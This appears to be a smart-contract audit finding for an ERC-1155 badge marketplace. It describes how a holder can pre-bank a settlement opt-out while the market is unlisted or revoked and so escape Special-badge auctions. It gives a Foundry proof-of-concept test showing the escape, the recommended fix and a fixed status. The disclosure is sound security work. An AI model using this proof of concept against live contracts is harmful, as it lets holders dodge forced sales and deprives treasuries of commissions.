Pre-auditThree days of senior audit time for $1,500, credited in full toward your Zealynx audit.3 audit days, credited toward your auditSee how →
M-01·audit-finding

Special holders can pre-bank an opt-out while the market is unlisted or revoked and escape the ascending auction

Fixednfterc-1155marketplace
TL;DR

Special holders can pre-bank an opt-out while the market is unlisted or revoked and escape the ascending auction. Final disposition: Fixed.

Severity
MEDIUM
Method
MManual review
CAT.

Tracker: issue #17 · Status: Fixed · Verified at: audit-v3-rereview-handoff

02Section · Affected files

Affected files

src/PlakxioBadge.sol#L364-L403 src/PlakxioBadge.sol#L530-L637

03Section · Description

Description

setSettlementOptOut rejects an opt-out from the Special market only when the operator's current class mask includes CLASS_MASK_SPECIAL. The mask is zero before whitelisting and after revocation, so a holder can store the opt-out during either window. Assigning the Special mask later does not clear or revalidate it.

The badge transfer paths subsequently enforce the stored flag without considering the token class. The Special market therefore cannot transfer that holder's badge, even though Special badges are intended to remain purchasable through the ascending auction.

Vulnerable Scenario:

  1. A holder predicts the future Special market address, or waits until the current market is revoked.
  2. While the address has a zero class mask, the holder calls setSettlementOptOut(market, true).
  3. The administrator grants or restores the market's Special class permission.
  4. A buyer submits a valid purchase, but the badge transfer enforces the pre-banked opt-out and the transaction reverts.
04Section · Impact

Impact

A holder can remove a Special badge from the forced-sale mechanism at no cost, preventing purchases and the associated treasury commissions until the holder voluntarily clears the flag.

05Section · PoC

PoC

Save the following as test/poc/OptOutSpecialEscape.t.sol and run it against commit d8fa452dc423d00760d3159f290d82b7cc5e1857.

solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.30;
import {Test} from "forge-std/Test.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {PlakxioBadge} from "../../src/PlakxioBadge.sol";
import {PlakxioSpecialMarket} from "../../src/PlakxioSpecialMarket.sol";
contract QuoteStub {
function decimals() external pure returns (uint8) {
return 6;
}
}
contract OptOutSpecialEscape is Test {
PlakxioBadge badge;
QuoteStub quote;
address admin = address(0xA11CE);
address issuer = address(0x1553E);
address holder = address(0xB0B);
address cleanHolder = address(0xC1EA);
address buyer = address(0xBEEF);
uint256 specialMask;
uint256 constant ORDINAL = 893;
uint256 constant ID = 2_000_000_000 + ORDINAL;
uint256 constant CONTROL_ID = ID + 1;
function setUp() public {
vm.warp(1_000_000);
quote = new QuoteStub();
vm.startPrank(admin);
badge = new PlakxioBadge(admin, "u", uint48(2 days), 2 days);
badge.grantRole(badge.MINTER_ROLE(), issuer);
vm.stopPrank();
specialMask = badge.CLASS_MASK_SPECIAL();
}
function _deployMarket(address deployer) internal returns (PlakxioSpecialMarket m) {
vm.prank(deployer);
m = new PlakxioSpecialMarket(
admin,
badge,
IERC20(address(quote)),
admin,
3000,
1500,
1000,
500,
500_000,
1_000_000_000,
uint48(2 days)
);
}
function _marketCanMove(PlakxioSpecialMarket m, address from, uint256 id) internal returns (bool moved) {
uint256 before = badge.balanceOf(from, id);
vm.prank(address(m));
(bool ok,) = address(badge).call(
abi.encodeWithSignature(
"safeTransferFrom(address,address,uint256,uint256,bytes)",
from,
buyer,
id,
1,
bytes("")
)
);
moved = ok && badge.balanceOf(from, id) == before - 1 && badge.balanceOf(buyer, id) >= 1;
}
function test_optOutBeforeWhitelist_badgeBecomesPermanentlyUnsellable() public {
address deployer = address(0xDEAD);
address predicted = vm.computeCreateAddress(deployer, vm.getNonce(deployer));
vm.prank(holder);
badge.setSettlementOptOut(predicted, true);
PlakxioSpecialMarket market = _deployMarket(deployer);
assertEq(address(market), predicted, "address prediction holds");
vm.prank(admin);
badge.setSettlementContract(address(market), true, specialMask);
vm.warp(block.timestamp + 3 days);
vm.prank(issuer);
badge.mintSpecial(holder, ID, ORDINAL);
vm.prank(issuer);
badge.mintSpecial(cleanHolder, CONTROL_ID, ORDINAL + 1);
vm.prank(holder);
vm.expectRevert(PlakxioBadge.CannotOptOutOfSpecial.selector);
badge.setSettlementOptOut(address(market), true);
assertFalse(_marketCanMove(market, holder, ID), "HARM: escaped Special is unmovable by the market");
assertEq(badge.balanceOf(holder, ID), 1, "HARM: holder still owns it");
assertTrue(_marketCanMove(market, cleanHolder, CONTROL_ID), "CONTROL: a normal Special does sell");
}
function test_optOutDuringRevocationWindow_badgeBecomesPermanentlyUnsellable() public {
PlakxioSpecialMarket market = _deployMarket(admin);
vm.prank(admin);
badge.setSettlementContract(address(market), true, specialMask);
vm.warp(block.timestamp + 3 days);
vm.prank(issuer);
badge.mintSpecial(holder, ID, ORDINAL);
vm.prank(issuer);
badge.mintSpecial(cleanHolder, CONTROL_ID, ORDINAL + 1);
vm.prank(admin);
badge.setSettlementContract(address(market), false, 0);
assertEq(badge.settlementClassMask(address(market)), 0, "revocation zeroes the mask");
vm.prank(holder);
badge.setSettlementOptOut(address(market), true);
vm.prank(admin);
badge.setSettlementContract(address(market), true, specialMask);
vm.warp(block.timestamp + 3 days);
assertFalse(_marketCanMove(market, holder, ID), "HARM: escaped Special is unmovable by the market");
assertEq(badge.balanceOf(holder, ID), 1, "HARM: holder still owns it");
assertTrue(_marketCanMove(market, cleanHolder, CONTROL_ID), "CONTROL: a normal Special does sell");
}
}
bash
forge test --match-path "test/poc/OptOutSpecialEscape.t.sol" -vv

Observed on the frozen source:

code
Ran 2 tests for test/poc/OptOutSpecialEscape.t.sol:OptOutSpecialEscape
[PASS] test_optOutBeforeWhitelist_badgeBecomesPermanentlyUnsellable() (gas: 2465997)
[PASS] test_optOutDuringRevocationWindow_badgeBecomesPermanentlyUnsellable() (gas: 2476802)
Suite result: ok. 2 passed; 0 failed; 0 skipped
06Section · Recommendations

Recommendations

Make the holder opt-out token-aware at transfer time so it applies only to non-Special badges. Pass the token id to _checkHolderPermits in the single-transfer path and apply the same check to every id in the batch path.

diff
-function _checkHolderPermits(address holder, address operator) internal view {
- if (settlementOptOut[holder][operator]) revert HolderOptedOut(holder, operator);
+function _checkHolderPermits(address holder, address operator, uint256 id) internal view {
+ if (settlementOptOut[holder][operator] && tokenClass(id) != TokenClass.Special) {
+ revert HolderOptedOut(holder, operator);
+ }
}

After the explicit settlement, activation, class-mask, and holder checks, call OpenZeppelin's internal safe-transfer functions so the inherited id-less approval check does not reapply the stale flag. Keep isApprovedForAll conservative for ordinary transfers. Do not exempt an operator merely because its mask contains the Special bit, because CLASS_MASK_ALL must still respect ordinary opt-outs.

07Section · Remediation

Remediation

Fixed. _checkHolderPermits takes the id and is class-aware at the move, and isApprovedForAll is conservative in the safe direction (it may say "not approved" for a Special the operator can move, never the reverse). Verified at the tag, not from the fix description.

Two consequences of this fix are filed separately rather than reopening this one: #37 (a holder now has no way to refuse an operator for Specials at all) and #38 (the refusal still reports success for the class it does not bind).

08Section · Verification provenance

Verification provenance

Final disposition: Fixed. Verified at audit-v3-rereview-handoff, commit f020448976eb7c4895e1626ef3228876cff2b7d2. This earlier remediation disposition is carried forward from the prior re-review, not independently re-verified in the generation-d pass. The report-wide scope and evidence limitations remain applicable; see the final report overview.

Status
Fixed
M-01